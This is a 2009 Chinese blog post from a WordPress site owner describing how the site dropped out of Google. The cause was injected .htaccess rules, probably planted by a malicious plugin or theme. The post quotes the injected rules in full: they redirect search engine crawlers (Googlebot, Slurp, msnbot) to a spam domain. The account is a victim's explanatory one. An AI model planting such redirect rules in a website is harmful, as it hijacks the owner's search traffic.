使用WordPress插件、主题要谨慎,小心被修改.htaccess

2009-10-22, 发表于: · 标签:, · 评论:1

话说本站在几个月前就无缘无故从google的索引中消失了。在google中无论是搜索“小麦工作室”,还是搜索“site:smartdio.com”都得不到正确的结果,起初以为是自己违反的了google的规则,“滥用”了SEO技术。今天再次用google的站长工具检查问题,终于找出了原因,还是个非常严重的问题。

wordpress

大概4月份开始,就发现google没有再收录我的新内容。然后到了前两个月,我的网站彻底从google搜索中消失,通过“site:smartdio.com”搜索,得到的结果是没有任何数据。但是同时,百度却能及时收录我的最新内容。

我多次检查网站的问题。首先怀疑DNS、怀疑虚拟主机的问题,检查后一切正常;然后怀疑是不是自己违反了google的规定,例如“滥用”SEO技术(我的确安装了all-in-one-SEO插件)。然后又向google申请重新审核收录我的网站。最终还是没能解决问题。

这次重新改版主题后,我先删除了all-in-one-SEO插件,然后安排今天再次向googl申请重新审核网站。审核前,我再次用google的站长工具检查一次网站。

前段时间google再站长工具中增加了一个新的工具:“像Googlebot那样抓取”,模拟Googlebot抓取网页数据的效果,可以检查Googlebot是否能正确抓取网站的内容。

这一检查,马上发现了问题,是一个非常严重的问题。Googlebot抓取的内容根本不是我主页的内容,而是被重新定向到一个叫doormoney.us的网站上。从名字可以看出,这明显是一个流氓网站。

为什么用浏览器就没有被重定向呢?根据经验,这肯定是修改了服务器的.htaccess文件。于是我马上查看,下面就是被修改的.htaccess文件:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_USER_AGENT} (Googlebot|Slurp|msnbot)
RewriteRule ^ http://doormoney.us/ [R=301,L]

在#BEGIN WordPress和 #END WordPress之间的,是WordPress加入的内容,用于实现静态链接。

而其他内容,绝对是被其他不明程序修改的。

RewriteCond %{HTTP_USER_AGENT} (Googlebot|Slurp|msnbot):这句话明显就是只对爬虫进行重定向(没有包括百度的爬虫,所以百度能正确抓取我的内容)。

马上删除这段内容,然后再用“像Googlebot那样抓取”工具测试。这下抓取的内容就是首页的内容了。

终于问题解决了,应该很快,我的网站又会再次出现在google的搜索结果中了。

到底是“谁”修改了.htaccess呢?

在网上查了一下,基本上是WordPress的网站出现这个问题,很多人都怀疑是wordpress的插件或者主题引起的。我也想起来,半年前曾经有一段时间试过很多插件和主题,可能其中某个插件包含了恶意代码。

所以引以为戒,安装WordPress插件、主题一定要谨慎。

Share and Enjoy:
  • Digg
  • del.icio.us
  • Google Bookmarks
  • Diigo
  • FriendFeed
  • HelloTxt
  • Live
  • MySpace
  • RSS
  • Twitter
  • QQ书签
  • 豆瓣九点

1条评论 ,发表于“使用WordPress插件、主题要谨慎,小心被修改.htaccess”

  1. 设&计是空 说:

    菜鸟提问,我设置了永久链接格式是 /%postname%/ ,可是文章网址最后面没有”/”这个斜杠,怎么回事?

留下你的评论